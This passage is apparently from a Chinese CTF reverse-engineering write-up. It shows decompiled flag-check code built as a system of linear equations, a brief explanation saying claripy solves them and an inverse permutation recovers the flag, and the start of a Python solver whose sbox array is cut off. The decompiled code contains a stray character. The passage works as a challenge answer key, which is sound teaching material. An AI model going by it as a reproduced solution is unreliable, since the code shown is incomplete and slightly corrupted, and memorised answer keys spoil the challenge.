int v14; // [sp+20h] [bp-50h]
int v15; // [sp+24h] [bp-4Ch]
int v16; // [sp+28h] [bp-48h]
int v17; // [sp+2Ch] [bp-44h]
int v18; // [sp+30h] [bp-40h]
int v19; // [sp+34h] [bp-3Ch]
int v20; // [sp+38h] [bp-38h]
int v21; // [sp+3Ch] [bp-34h]
int v22; // [sp+40h] [bp-30h]
int v23; // [sp+44h] [bp-2Ch]
int v24; // [sp+48h] [bp-28h]
int v25; // [sp+4Ch] [bp-24h]
v25 = abs(159947 * *flag - 17274276);
v24 = abs(4294891102 * flag[1] - 288728 * *flag + 36973368);
v23 = abs(-247146 * flag[1] - 291401 * *flag - 166371 * flag[2] + 75709167);
v22 = abs(-1741 * flag[1] + 218084 * flag[3] + 280814 * *flag - 149372 * flag[2] -
33947928);
v21 = abs(174323 * flag[3] + 136024 * flag[2] - 141923 * flag[1] - 301049 * flag[4] +
323059 * *flag - 53238195);
v20 = abs(
-12269 * flag[3]
+ 286713 * flag[1]
- 78320 * *flag
+ 301362 * flag[2]
+ 269836 * flag[5]
- 255324 * flag[4]
- 99312448);
v19 = abs(
-103798 * flag[2]
+ 201146 * flag[5]
- 285406 * flag[3]
- 188094 * flag[4]
- 104025 * *flag
- 50098 * flag[1]
- 109789 * flag[6]
+ 50727897);
v18 = abs(
117443 * flag[7]
+ 275692 * flag[3]
+ 349275 * flag[1]
- 381943 * flag[2]
+ 332376 * flag[4]
- 269146 * flag[5]
+ 222994 * flag[6]
- 267344 * *flag
+ 9817748);
v17 = abs(
19156 * flag[6]
+ -281586 * flag[7]
- 168850 * *flag
+ 363716 * flag[3]
- 32886 * flag[1]
+ 44299 * flag[4]
+ 170590 * flag[8]
+ 81061 * flag[5]
+ 201865 * flag[2]
- 32987442);
v16 = abs(
22459 * flag[6]
+ -80349 * flag[1]
+ 239015 * flag[5]
- 42367 * flag[9]
- 113712 * flag[7]
- 146568 * flag[2]
+ 241696 * flag[3]
+ 232212 * *flag
- 162511 * flag[8]
+ 61621 * flag[4]
- 41031017);
v15 = abs(
-1754 * *flag
+ 128062 * flag[7]
- 329492 * flag[3]
- 167316 * flag[2]
- 178991 * flag[4]
+ 186377 * flag[10]
+ 307270 * flag[6]
- 328477 * flag[8]
+ 248665 * flag[1]
+ 374863 * flag[9]
+ 373711 * flag[5]
- 86829517);
v14 = abs(
11843 * flag[5]
+ 17087 * flag[3]
- 35818 * *flag
- 182330 * flag[7]
- 354816 * flag[4]
- 126036 * flag[2]
+ 114656 * flag[8]
- 90442 * flag[9]
+ 330888 * flag[11]
+ 78226 * flag[10]
- 260641 * flag[1]
+ 105414 * flag[6]
+ 63250156);
v13 = abs(
7469 * flag[9]
+ 6283 * flag[11]
+ -87345 * flag[2]
+ 248111 * flag[5]
+ 213581 * flag[4]
+ 89194 * flag[8]
+ 36305 * flag[6]
+ 98667 * flag[1]
+ 300755 * flag[12]
+ 191415 * flag[7]
+ 350540 * *flag
+ 359565 * flag[10]
- 185365 * flag[3]
- 165783260);
v12 = abs(
8209 * flag[8]
+ 131781 * flag[1]
+ 152898 * *flag
+ 40158 * flag[11]
- 86271 * flag[12]
- 105755 * flag[6]
+ 264037 * flag[3]
- 130948 * flag[10]
- 243572 * flag[7]
- 48159 * flag[2]
- 269443 * flag[9]
- 376534 * flag[5]
- 67954 * flag[4]
- 119669 * flag[13]
+ 117580744);
v11 = abs(
-3429 * flag[6]
+ 102230 * flag[5]
+ 126967 * flag[10]
- 344174 * flag[8]
- 225911 * flag[11]
+ 118364 * flag[14]
- 72044 * flag[1]
+ 280519 * *flag
- 241789 * flag[2]
- 274918 * flag[9]
- 91055 * flag[12]
- 122403 * flag[3]
+ 118907 * flag[7]
- 34240 * flag[13]
+ 240524 * flag[4]
+ 35507568);
v10 = abs(
-24137 * flag[9]
+ 28203 * flag[13]
+ 150213 * flag[1]
+ 311204 * *flag
- 94750 * flag[7]
+ 130029 * flag[2]
- 305057 * flag[14]
+ 176246 * flag[5]
- 256662 * flag[8]
- 331010 * flag[12]
- 301118 * flag[4]
- 309379 * flag[10]
+ 187867 * flag[3]
- 102250 * flag[11]
- 340412 * flag[15]
+ 144084 * flag[6]
+ 39635710);
v9 = abs(
-27445 * flag[12]
+ -289483 * flag[10]
- 164045 * flag[16]
- 218276 * flag[1]
+ 183266 * flag[3]
- 311967 * flag[8]
- 55127 * flag[14]
- 211824 * flag[13]
- 375628 * flag[9]
- 201931 * *flag
- 324618 * flag[4]
+ 52026 * flag[6]
+ 93926 * flag[5]
- 105199 * flag[7]
- 254102 * flag[15]
- 159881 * flag[11]
+ 378091 * flag[2]
+ 106013500);
v2 = flag[3];
v8 = abs(
27619 * flag[4]
+ 9873 * flag[1]
+ -23276 * flag[8]
+ -196254 * flag[9]
+ 181235 * *flag
+ 150865 * flag[16]
- 148807 * flag[14]
- 272020 * flag[17]
- 346803 * flag[2]
- (v2 | (v2 << 16))
+ 132879 * flag[10]
+ 239833 * flag[6]
- 151023 * flag[11]
+ 224631 * flag[12]
+ 294607 * flag[5]
- 362447 * flag[7]
- 110250 * flag[15]
+ 153229 * flag[13]
+ 56953741);
v7 = abs(
-1159 * flag[1]
+ 6659 * flag[6]
+ -25875 * flag[7]
+ 80743 * flag[10]
+ 38124 * flag[9]
+ 40844 * flag[13]
- 259165 * flag[12]
+ 340584 * flag[16]
+ 107346 * flag[2]
- 124400 * flag[8]
- 34846 * flag[11]a
- 338119 * flag[17]
- 220860 * flag[5]
+ 167374 * flag[3]
+ 71134 * flag[15]
- 143594 * flag[14]
- 115172 * flag[4]
- 104789 * *flag
+ 108066 * flag[18]
+ 50659353);
v3 = abs(
-26438 * flag[19]
+ 14055 * flag[10]
+ 31477 * flag[12]
+ -179950 * flag[4]
+ 79775 * flag[17]
+ 70516 * flag[5]
+ 330549 * flag[2]
+ 169852 * flag[11]
+ 51486 * flag[7]
+ 123944 * flag[13]
- 370154 * flag[14]
- 132851 * flag[18]
+ 237187 * flag[3]
- 89341 * flag[9]
- 256083 * flag[1]
+ 317327 * *flag
+ 42009 * flag[15]
+ 336122 * flag[6]
+ 128554 * flag[8]
- 205903 * flag[16]
- 112255597);
v4 = abs(
30250 * flag[5]
+ 127076 * flag[16]
- 218938 * *flag
+ 162996 * flag[14]
+ 141792 * flag[12]
- 197967 * flag[9]
- 247332 * flag[4]
- 286218 * flag[7]
- 168508 * flag[18]
+ 300020 * flag[2]
- 46255 * flag[10]
- 78960 * flag[19]
+ 213181 * flag[6]
- 329333 * flag[13]
+ 126938 * flag[8]
- 266759 * flag[11]
+ 182266 * flag[17]
- 41677 * flag[1]
+ 158645 * flag[15]
- 61925 * flag[3]
+ 67755 * flag[20]
- 52014431);
v5 = abs(
-281 * *flag
+ 10712 * flag[19]
+ 14584 * flag[4]
+ -167168 * flag[13]
+ 308120 * flag[7]
- 233003 * flag[8]
+ 114047 * flag[14]
+ 330767 * flag[10]
- 71246 * flag[6]
- 259485 * flag[2]
+ 374645 * flag[21]
- 116397 * flag[3]
+ 64115 * flag[20]
+ 281339 * flag[9]
+ 321916 * flag[15]
- 272240 * flag[12]
- 135149 * flag[16]
- 288340 * flag[18]
+ 71833 * flag[11]
- 233821 * flag[1]
- 223297 * flag[17]
+ 141256 * flag[5]
+ 17267952);
return v24
+ v25
+ v23
+ v22
+ v21
+ v20
+ v19
+ v18
+ v17
+ v16
+ v15
+ v14
+ v13
+ v12
+ v11
+ v10
+ v9
+ v8
+ v7
+ v3
+ v4
+ v5 == 0;
}
大概逻辑其实就是根据 config 里的数据去调用对应的函数。
最终调用验证方程。
用 claripy 解出方程后,再逆置换就能得到 flag 了
import claripy
sbox = [0xA8, 0xC4, 0x13, 0xDF, 0x63, 0x5F, 0x4E, 0x6B, 0x12, 0xD6, 0x28, 0xBF, 0x40, 0x11,
0x64, 0x5A, 0x71, 0xDD, 0xD4, 0x35, 0xD5, 0x0F, 0x50, 0x9D, 0xCF, 0x7B, 0xEB, 0x0C, 0x3B,
0x6F, 0xA0, 0x5C, 0x5D, 0x90, 0xF5, 0x4B, 0xFF, 0x31, 0xB7, 0x14, 0xF9, 0xAF, 0xD3, 0xEE,
0x69, 0x36, 0xD7, 0xF3, 0xEF, 0x65, 0x05, 0x3F, 0x99, 0x49, 0x57, 0x2A, 0xEA, 0xB9, 0xB3,
0x8C, 0x7D, 0xFB, 0x1C, 0x80, 0xF1, 0xDC, 0xDA, 0x93, 0x7C, 0x62, 0xA2, 0xA9, 0x58, 0xC5,
0xA1, 0x0B, 0x5E, 0x09, 0x34, 0xA4, 0x22, 0x78, 0x68, 0x70, 0x6E, 0x54, 0x6D, 0x2F, 0x46,
0xE1, 0xA6, 0xF2, 0x29, 0x0E, 0x21, 0xFC, 0x15, 0x9F, 0x59, 0xB0, 0x18, 0x08, 0x95, 0x1F,
0x77, 0xD8, 0x67, 0x16, 0x20, 0x81, 0xF4, 0x60, 0x51, 0xB8, 0x7A, 0xCB, 0x3D, 0x7E, 0xA5,
0xE9, 0xD2, 0xFA, 0x74, 0x91, 0x1A, 0x8F, 0x19, 0x3C, 0x83, 0x8B, 0xC0, 0x37, 0x73, 0x8E,
0x8A, 0x07, 0x30, 0xE8, 0xAA, 0x2D, 0x8D, 0x55, 0x53, 0x96, 0x0D, 0x76, 0x6A, 0x88, 0x0A,
0x25, 0x87, 0x26, 0x79, 0x10, 0xC6, 0x1E, 0xC2, 0x01, 0xDE, 0x56, 0xAD, 0xB2, 0xAE, 0xBD,
0x75, 0xB6, 0x66, 0x33, 0xE6, 0xE2, 0xBB, 0xC3, 0xD1, 0x1B, 0x2E, 0xB4, 0x1D, 0x32, 0x02,
0x47, 0x42, 0x3A, 0x89, 0xBC, 0xE0, 0x44, 0xBE, 0xFE, 0x98, 0x06, 0xE4, 0xB1, 0x38, 0xE3,
0x86, 0xA7, 0xB5, 0x94, 0x03, 0xEC, 0xC9, 0x61, 0x52, 0xF6, 0x72, 0x4C, 0xAC, 0xC8, 0xC1,
0x45, 0x3E, 0x6C, 0xCD, 0xC7, 0x48, 0xAB, 0x5B, 0x82, 0x27, 0x00, 0x39, 0x84, 0xED, 0x7F,
0xCE, 0x97, 0x24, 0x43, 0x4D, 0xF0, 0x85, 0x4F, 0x9B, 0xA3, 0x41, 0xD9, 0x2B, 0x92, 0xF7,
0xFD, 0xDB, 0x17, 0xE7, 0xF8, 0xCA, 0xBA, 0x4A, 0x23, 0xE5, 0x9C, 0xD0, 0x9E, 0x2C, 0x9A,
0x04, 0xCC, 0xFC, 0x97, 0x79, 0xBA, 0xC1, 0x8F, 0xD1, 0x17, 0x87, 0x52, 0x84, 0x0E, 0xB4,
0x4B, 0x1C, 0x2B, 0xF2, 0xF8, 0xAD, 0xD9, 0xD4, 0x46, 0x78, 0xE6, 0x5F, 0x89, 0x6B, 0x76,
0xC7, 0x29, 0xD2, 0x04, 0x31, 0x43, 0x4E, 0x7E, 0xA3, 0xF7, 0xA4, 0x5B, 0x01, 0x58, 0xBD,
0x3A, 0xFB, 0x56, 0xD0, 0x68, 0x8C, 0x3B, 0xF0, 0x59, 0x0C, 0x90, 0xEB, 0xB3, 0xBB, 0xB1,
0x47, 0xF1, 0x09, 0x41, 0x64, 0x93, 0x4F, 0x55, 0xB2, 0x92, 0x7A, 0xF4, 0x7D, 0x6F, 0x40,
0x5C, 0xFE, 0x82, 0x16, 0xB6, 0x33, 0x7C, 0xF9, 0x91, 0x81, 0x0B, 0x15, 0x57, 0x54, 0x60,
0xA0, 0xE0, 0x3E, 0x50, 0x66, 0x13, 0x0D, 0xDC, 0x06, 0xF6, 0xC6, 0xE1, 0xC5, 0x96, 0x9C,
0x94, 0x5E, 0xEE, 0x73, 0x8A, 0x42, 0x36, 0xD3, 0x67, 0xA9, 0xE2, 0x18, 0x86, 0x9F, 0xB8,
0x1A, 0xFF, 0xC4, 0x69, 0x8B, 0x02, 0xF3, 0x99, 0x9A, 0x10, 0xD7, 0xC8, 0x28, 0xED, 0xB9,
0x12, 0x72, 0xBC, 0x74, 0x2F, 0xCB, 0xC2, 0x35, 0xAB, 0x98, 0xA2, 0x14, 0x53, 0xE4, 0xB0,
0x2A, 0x63, 0xA1, 0x70, 0x9B, 0x5A, 0xAE, 0x75, 0x71, 0x19, 0xA6, 0xCE, 0x80, 0xF5, 0x49,
0xD8, 0x24, 0xDE, 0x22, 0x85, 0x30, 0x6D, 0x00, 0x2E, 0x27, 0x05, 0xFA, 0x88, 0xC3, 0x1B,
0x8D, 0x2C, 0xCC, 0x3F, 0xE8, 0xD5, 0x83, 0xDD, 0xE3, 0x0F, 0x61, 0xEA, 0x4C, 0x9E, 0xE9,
0x3C, 0xAF, 0x32, 0x0A, 0xBE, 0x1F, 0xDA, 0xA7, 0x4A, 0xD6, 0x3D, 0x26, 0x39, 0xB5, 0x8E,
0x1D, 0x6E, 0x38, 0x9D, 0x08, 0xCA, 0xE5, 0xB7, 0x62, 0xBF, 0x2D, 0xA8, 0x95, 0x6A, 0xFD,
0x34, 0x07, 0xA5, 0x5D, 0x25, 0xC0, 0x48, 0x51, 0x44, 0x4D, 0x7F, 0x45, 0xAC, 0xEC, 0x03,
0xAA, 0xC9, 0xDB, 0x65, 0xCD, 0x11, 0x7B, 0x23, 0x1E, 0x37, 0x20, 0xEF, 0x21, 0xE7, 0xCF,
0xDF, 0x6C, 0x77, 0xB7, 0x1C, 0x94, 0x39, 0x0A, 0x7B, 0x3C, 0x36, 0xDA, 0xC9, 0x13, 0x7C,
0x6D, 0x00, 0x45, 0xCE, 0xB9, 0xCB, 0x74, 0xA7, 0x9C, 0xD1, 0x56, 0xE6, 0xAA, 0x35, 0xBE,
0x6F, 0x3D, 0x3F, 0xB4, 0xD5, 0x59, 0x10, 0x40, 0x73, 0x44, 0x76, 0xC8, 0x6E, 0x20, 0x92,
0x89, 0xA8, 0x30, 0x03, 0xAF, 0xE7, 0x91, 0x17, 0x1F, 0xDB, 0x9B, 0x22, 0x1E, 0xA3, 0x5E,
0x72, 0xD9, 0x41, 0x0D, 0x0C, 0x26, 0x93, 0xE0, 0xCA, 0x99, 0x01, 0xA1, 0xD7, 0x84, 0x4E,
0xDE, 0x5C, 0x8C, 0x98, 0xEA, 0x81, 0xF4, 0x2F, 0x2D, 0xF8, 0x16, 0x88, 0x57, 0x4C, 0xD0,
0x0F, 0xB0, 0x09, 0x79, 0x14, 0xA2, 0xB8, 0x18, 0x70, 0xFE, 0x34, 0x55, 0x49, 0x82, 0xD8,
0xCD, 0xF1, 0x31, 0xD3, 0x3B, 0x38, 0x6C, 0x9D, 0x83, 0x75, 0xBF, 0x5F, 0x4F, 0x78, 0x52,
0xC6, 0x04, 0x5D, 0x32, 0xA6, 0x61, 0xE3, 0xC1, 0x62, 0x8B, 0x06, 0x3E, 0x0B, 0xFF, 0xEE,
0x67, 0xB2, 0x8F, 0xF3, 0xFA, 0x68, 0xDC, 0xC5, 0x7A, 0xFD, 0x71, 0x08, 0xF5, 0x97, 0xB6,
0x21, 0x54, 0x60, 0xEF, 0xAB, 0x15, 0x2B, 0x1B, 0xDD, 0xE5, 0xA4, 0xF9, 0x77, 0x11, 0x8D,
0xC3, 0x9A, 0xF2, 0x95, 0x29, 0xBA, 0xBD, 0x1D, 0xCC, 0xE4, 0x5B, 0x47, 0x1A, 0x65, 0x64,
0x19, 0x7D, 0x7F, 0xA9, 0x42, 0x63, 0x53, 0x6A, 0xAC, 0x2E, 0xC0, 0x87, 0x96, 0xF0, 0x85,
0x07, 0x66, 0x46, 0xEC, 0xE1, 0xC2, 0x6B, 0x7E, 0x8E, 0x58, 0x37, 0x25, 0x27, 0x4D, 0x4B,
0x12, 0x4A, 0xE8, 0x5A, 0x02, 0xAD, 0xC4, 0x2C, 0x8A, 0xBB, 0xE9, 0xD4, 0x3A, 0xED, 0x48,
0xB5, 0x86, 0xD6, 0xA5, 0xF7, 0x23, 0x9E, 0xD2, 0xA0, 0xE2, 0x05, 0xEB, 0x24, 0x43, 0x2A,
0x90, 0x69, 0xB1, 0x50, 0x0E, 0xCF, 0x80, 0xAE, 0x9F, 0xB3, 0xDF, 0xBC, 0xC7, 0x28, 0x51,
0xF6, 0xFB, 0x33, 0xFC, 0x59, 0xAF, 0x34, 0x7B, 0xD4, 0xDE, 0xF3, 0xB2, 0xEA, 0x3D, 0x3E,
0x70, 0xA4, 0x98, 0x35, 0xDD, 0x9F, 0x04, 0x6D, 0x84, 0x2E, 0x64, 0x9C, 0xEB, 0x9A, 0x00,
0xBB, 0xE8, 0xE6, 0x8B, 0xD3, 0x2D, 0xD0, 0x33, 0x85, 0x17, 0xA5, 0xA7, 0x8A, 0xA0, 0x7E,
0xB0, 0x99, 0xF9, 0x43, 0xC6, 0xC0, 0x08, 0x63, 0xF8, 0xAC, 0x18, 0x4A, 0x52, 0x9D, 0xA3,
0x6A, 0xEF, 0x5C, 0xC4, 0x12, 0xA2, 0x6C, 0xE5, 0x2F, 0xCB, 0x0A, 0xAB, 0x23, 0x19, 0xB5,
0x32, 0x81, 0x7A, 0xF2, 0x86, 0x60, 0x25, 0xB6, 0xCD, 0xCE, 0xC1, 0x07, 0x53, 0x03, 0xDC,
0xD9, 0xEE, 0x6F, 0xFF, 0x1C, 0x0D, 0x8C, 0x47, 0x39, 0xBC, 0x91, 0x6E, 0x1B, 0xF1, 0x36,
0x02, 0xE1, 0x8E, 0x4B, 0x82, 0xA9, 0x06, 0xCF, 0x2B, 0x68, 0x79, 0x58, 0xD6, 0xA6, 0x30,
0xFB, 0xC2, 0x96, 0x1D, 0x4D, 0x0C, 0x56, 0xF4, 0x40, 0x0B, 0x49, 0x93, 0x5D, 0x10, 0x61,
0xFA, 0x2C, 0xB1, 0xE9, 0xEC, 0x83, 0xFC, 0xD7, 0x73, 0x74, 0xD2, 0xDB, 0x1A, 0x9E, 0x92,
0xCA, 0xBA, 0x65, 0x78, 0xE3, 0x28, 0x57, 0x3C, 0xE2, 0x14, 0xCC, 0x76, 0xAD, 0x22, 0xB4,
0x44, 0x90, 0xFD, 0x97, 0x5F, 0xB8, 0x51, 0x87, 0x2A, 0x05, 0xD5, 0x67, 0xD8, 0x50, 0x09,
0x46, 0x80, 0x88, 0xF0, 0xB7, 0xB3, 0xB9, 0xAE, 0x26, 0x5A, 0x6B, 0xC9, 0xBD, 0x8D, 0x21,
0x55, 0x20, 0x1E, 0x11, 0xC5, 0xC7, 0x7D, 0x31, 0xED, 0x66, 0xBE, 0x13, 0x54, 0x38, 0xA8,
0x4C, 0x71, 0x15, 0x37, 0x4E, 0xA1, 0x16, 0xF5, 0x41, 0xBF, 0xF6, 0x3A, 0x0E, 0x3F, 0x45,
0x42, 0xC8, 0xE7, 0xDA, 0xE4, 0x89, 0xE0, 0x01, 0xFE, 0xAA, 0x94, 0x9B, 0x75, 0x5B, 0x7C,
0x27, 0x8F, 0x95, 0x29, 0x4F, 0xC3, 0x24, 0x77, 0x62, 0xD1, 0x7F, 0xDF, 0x1F, 0x72, 0x3B,
0x0F, 0x5E, 0xF7, 0x69, 0x48, 0x0D, 0x3D, 0xA2, 0x93, 0x60, 0x00, 0x36, 0x8E, 0x25, 0x91,
0x79, 0x15, 0x7B, 0xFD, 0x81, 0xF8, 0xAD, 0xD9, 0x1E, 0xB7, 0xAC, 0xD5, 0x84, 0xA5, 0x2A,
0xED, 0xAE, 0x28, 0x29, 0xDC, 0x1A, 0x74, 0xEA, 0xE6, 0x16, 0x77, 0xB9, 0x6E, 0x24, 0x5E,
0x66, 0xD8, 0x6A, 0xD2, 0x41, 0xB5, 0x7D, 0xE1, 0xCA, 0x72, 0xF7, 0x31, 0x05, 0xBC, 0x14,
0x4E, 0x10, 0x48, 0x3C, 0xD7, 0x52, 0xC4, 0x71, 0xC7, 0xB3, 0xCF, 0xD1, 0xB0, 0xCC, 0x23,
0xB2, 0xA7, 0xE9, 0x8C, 0x0C, 0x0B, 0x35, 0x96, 0x56, 0x6C, 0xE8, 0x37, 0xD6, 0x86, 0x4D,
0xE4, 0x51, 0x4F, 0x69, 0x09, 0x6B, 0xFC, 0x13, 0xA3, 0x7E, 0xC0, 0x04, 0xD4, 0x42, 0x44,
0x20, 0xBD, 0xE2, 0x59, 0xFA, 0xCE, 0x0A, 0xF2, 0x5C, 0x6D, 0xCB, 0x5A, 0xBF, 0xBB, 0x1D,
0xD3, 0xB1, 0xEE, 0x61, 0x22, 0xF1, 0x8F, 0x49, 0x0E, 0x2B, 0xB4, 0x3E, 0x75, 0x08, 0x8D,
0x17, 0x80, 0xE3, 0x6F, 0x8A, 0x92, 0x54, 0x83, 0x03, 0xC2, 0xE0, 0x58, 0x47, 0xEC, 0xA6,
0x88, 0xDB, 0x63, 0x18, 0x4A, 0x27, 0x02, 0xB6, 0x89, 0x40, 0x12, 0x3A, 0x5F, 0x2E, 0x3B,
0x7C, 0xEF, 0xA9, 0xAB, 0x82, 0x34, 0x1B, 0x5B, 0x85, 0x98, 0x87, 0x11, 0xD0, 0xDD, 0x9A,
0xBE, 0x01, 0xEB, 0x06, 0x53, 0xF5, 0x78, 0xC1, 0xF0, 0xE7, 0x4C, 0xA1, 0x65, 0xB8, 0x67,
0xDF, 0xAF, 0xA8, 0x68, 0x3F, 0x2D, 0x9F, 0xE5, 0x9D, 0xC8, 0x2C, 0x33, 0x45, 0x7F, 0xA4,
0x1F, 0x7A, 0xBA, 0xDA, 0x38, 0x70, 0x99, 0xC9, 0x57, 0x62, 0x26, 0x97, 0x21, 0x9C, 0x95,
0x50, 0xC6, 0xFB, 0xC3, 0xF4, 0xCD, 0x94, 0x39, 0x46, 0x90, 0xFF, 0x73, 0x2F, 0x64, 0x1C,
0x0F, 0xAA, 0x5D, 0x9E, 0xFE, 0xF9, 0x30, 0x4B, 0xDE, 0x07, 0xF6, 0xF3, 0x8B, 0x9B, 0x55,
0xA0, 0x32, 0x43, 0x19, 0xC5, 0x76, 0x2E, 0x6F, 0x9A, 0xD8, 0xED, 0x5C, 0x5E, 0xAA, 0x03,
0xAC, 0x64, 0x0C, 0x80, 0x4C, 0xC5, 0x58, 0x63, 0xE3, 0x91, 0x22, 0x36, 0x98, 0xB8, 0x3F,
0x2A, 0x00, 0xEB, 0xEA, 0xE4, 0xA5, 0xCD, 0x28, 0x26, 0x67, 0x42, 0xEC, 0x25, 0x3E, 0xDA,
0x7C, 0x1B, 0x44, 0xBE, 0xD9, 0x95, 0xC0, 0x70, 0x86, 0xE6, 0x53, 0xF4, 0xBF, 0x24, 0xE0,
0x78, 0xF2, 0x4D, 0xD3, 0xFD, 0xB7, 0x9D, 0x65, 0xBC, 0x0E, 0x32, 0x33, 0x5B, 0xD0, 0x7B,
0x17, 0x85, 0x94, 0x02, 0x06, 0xDD, 0x7E, 0xB3, 0x11, 0xF6, 0x74, 0xCF, 0xE7, 0xC4, 0xC1,
0xB5, 0x51, 0xA7, 0xD7, 0x66, 0x69, 0xA3, 0x55, 0x8E, 0xA2, 0xA9, 0xEE, 0x2C, 0x46, 0x9E,
0x10, 0x4F, 0x79, 0x5A, 0x3B, 0x88, 0x57, 0x61, 0x8D, 0xBB, 0x84, 0xB2, 0x40, 0x47, 0xCB,
0xAF, 0x08, 0x04, 0x23, 0x62, 0x5F, 0x18, 0x3A, 0x8A, 0xC2, 0x81, 0x71, 0x9F, 0x14, 0x2F,
0xE9, 0x52, 0x87, 0xDB, 0x01, 0x76, 0x27, 0x0D, 0x2D, 0x6A, 0x60, 0xF9, 0xD1, 0x0A, 0xB1,
0x6E, 0x89, 0x48, 0xA0, 0x35, 0x6C, 0xB4, 0x38, 0xDC, 0x93, 0x37, 0xA6, 0xB6, 0xCA, 0xC3,
0xD2, 0xC6, 0x2B, 0x92, 0x72, 0x1A, 0x43, 0x7D, 0x8F, 0x1C, 0x34, 0x0B, 0x21, 0xAE, 0xA1,
0xCE, 0x9C, 0xEF, 0xAB, 0xFB, 0x68, 0x96, 0x54, 0xFC, 0x12, 0x82, 0x9B, 0x45, 0xFF, 0xF3,
0xA4, 0x31, 0x1F, 0x30, 0xFE, 0x7F, 0x75, 0x50, 0x13, 0x90, 0x4B, 0xBA, 0xC9, 0x77, 0xC7,
0x39, 0x09, 0xF0, 0x15, 0xF5, 0xB0, 0x0F, 0x07, 0x1D, 0x3C, 0x99, 0xA8, 0x1E, 0xE2, 0x05,
0x73, 0xE5, 0x16, 0x4E, 0x3D, 0x20, 0xBD, 0xB9, 0x41, 0x97, 0xCC, 0x19, 0x59, 0xE1, 0xDE,
0x8B, 0xFA, 0xE8, 0xC8, 0x4A, 0xF1, 0x8C, 0x5D, 0x6D, 0xD6, 0x6B, 0xDF, 0x49, 0xAD, 0xF8,
0xD5, 0xD4, 0x56, 0x7A, 0x29, 0x83, 0xF7, 0x40, 0x72, 0xBB, 0x91, 0xA0, 0x49, 0x0D, 0x45,
0x96, 0xBA, 0xD9, 0xB7, 0x20, 0x1C, 0x57, 0x93, 0x47, 0xCB, 0x8E, 0xA9, 0x5B, 0x95, 0x54,
0xD4, 0x6B, 0x19, 0x77, 0x2F, 0xD5, 0x61, 0x2D, 0x52, 0x6D, 0x9F, 0xB3, 0x84, 0x7B, 0xFE,
0x7A, 0xD0, 0x4F, 0x41, 0x65, 0x55, 0x9D, 0x8A, 0x21, 0x7D, 0x75, 0x4A, 0x30, 0x02, 0x0B,
0x7E, 0x0C, 0xD2, 0x18, 0xFA, 0x3E, 0x6F, 0x14, 0xE3, 0xDE, 0x1F, 0xB8, 0x8D, 0x67, 0x62,
0xA5, 0xBD, 0x3A, 0x04, 0x4D, 0x86, 0x1A, 0xC1, 0x12, 0xDF, 0x33, 0xCD, 0xA8, 0x74, 0x0F,
0xE9, 0xB5, 0x7F, 0xB1, 0xE0, 0x00, 0x09, 0xCF, 0x53, 0xD3, 0x59, 0x17, 0x13, 0xA1, 0x2E,
0xF8, 0xA6, 0x07, 0xC2, 0x5A, 0xFC, 0xC4, 0xE7, 0x60, 0xC7, 0x50, 0x03, 0xDC, 0x78, 0x4E,
0xF5, 0x51, 0x44, 0x7C, 0x15, 0x22, 0x11, 0xCC, 0x32, 0xE2, 0x43, 0x2C, 0x87, 0xC8, 0x37,
0x5E, 0x73, 0x88, 0x16, 0x38, 0xDB, 0x39, 0xBF, 0xD6, 0xF1, 0xF0, 0xDD, 0xC3, 0xAA, 0xE8,
0x48, 0x10, 0x46, 0x63, 0x8B, 0x3D, 0x28, 0x9A, 0xCE, 0xB2, 0x25, 0x9B, 0x71, 0x56, 0xB6,
0x06, 0xD7, 0x94, 0x99, 0x42, 0x29, 0x68, 0x3F, 0x0A, 0x8C, 0xF2, 0x85, 0xE6, 0xC5, 0x5F,
0xBC, 0x31, 0x6C, 0xB4, 0xED, 0x9C, 0xE4, 0xEB, 0xEC, 0x5C, 0x97, 0xBE, 0xC0, 0xF9, 0xC9,
0xAD, 0xEF, 0x27, 0x98, 0x01, 0x4C, 0x2A, 0x66, 0xFD, 0xF4, 0x76, 0x3C, 0xAE, 0xC6, 0xCA,
0x26, 0xAF, 0xF7, 0xAC, 0xA7, 0xE1, 0x2B, 0x23, 0xEE, 0x9E, 0xD8, 0x3B, 0x5D, 0x6A, 0x1B,
0xA2, 0xAB, 0xEA, 0x58, 0x36, 0x82, 0xFF, 0x05, 0x35, 0x81, 0xA3, 0x4B, 0x90, 0x08, 0xB0,
0x70, 0x69, 0x1D, 0xDA, 0xE5, 0xB9, 0xD1, 0x24, 0x6E, 0x89, 0xA4, 0x1E, 0x8F, 0x92, 0x79,
0x80, 0xFB, 0x34, 0x0E, 0x83, 0x64, 0xF3, 0xF6, 0xB6, 0xC7, 0xC5, 0x51, 0xE3, 0x1C, 0x97,
0x8B, 0x84, 0x3C, 0xA3, 0x92, 0xFB, 0x01, 0xF2, 0xA1, 0x14, 0x30, 0xAF, 0x5D, 0x19, 0x1F,
0x11, 0x7F, 0x2B, 0x4E, 0xCB, 0xFE, 0x6C, 0x7D, 0x43, 0xAB, 0xC6, 0xE4, 0xFC, 0x17, 0xD1,
0xDB, 0x00, 0x41, 0x9F, 0x76, 0x42, 0x22, 0xD9, 0x1D, 0xFA, 0xB2, 0xC0, 0xB5, 0xDF, 0xB1,
0xCA, 0xD0, 0x28, 0xD2, 0xB9, 0xCC, 0xF7, 0xBB, 0x18, 0xD6, 0x31, 0x83, 0xB3, 0x55, 0x5A,
0x95, 0x3E, 0x25, 0x49, 0x73, 0x2F, 0xB7, 0x62, 0xA6, 0xF0, 0x8D, 0x90, 0x50, 0xB0, 0x6A,
0x2C, 0xF4, 0xBA, 0xA4, 0xF3, 0x6D, 0x81, 0x03, 0x3D, 0xC3, 0x02, 0xE2, 0x74, 0x7E, 0x40,
0x7C, 0xAE, 0xAC, 0x7B, 0x99, 0x52, 0x8C, 0x35, 0xEB, 0x82, 0xDA, 0x38, 0x07, 0x4B, 0xEE,
0xA9, 0x6F, 0x89, 0x46, 0x60, 0x9E, 0xBF, 0x80, 0x48, 0x56, 0xEA, 0xDE, 0x70, 0xCF, 0x13,
0xBC, 0xC9, 0x39, 0xFF, 0x68, 0xA0, 0xE6, 0xA7, 0xA2, 0x32, 0x64, 0xE1, 0x2A, 0x3A, 0x86,
0x24, 0xE8, 0xAD, 0x71, 0x6B, 0x9C, 0x91, 0x66, 0xB4, 0xAA, 0xFD, 0x20, 0xC1, 0x5C, 0x7A,
0xEC, 0x5F, 0x87, 0xD7, 0x93, 0xD5, 0x05, 0xE0, 0x3B, 0x59, 0x79, 0x0B, 0x4C, 0x61, 0x10,
0x0E, 0x0A, 0x67, 0x29, 0xBD, 0xE9, 0x75, 0x36, 0x4A, 0xD4, 0x9D, 0x08, 0x4D, 0x16, 0xC8,
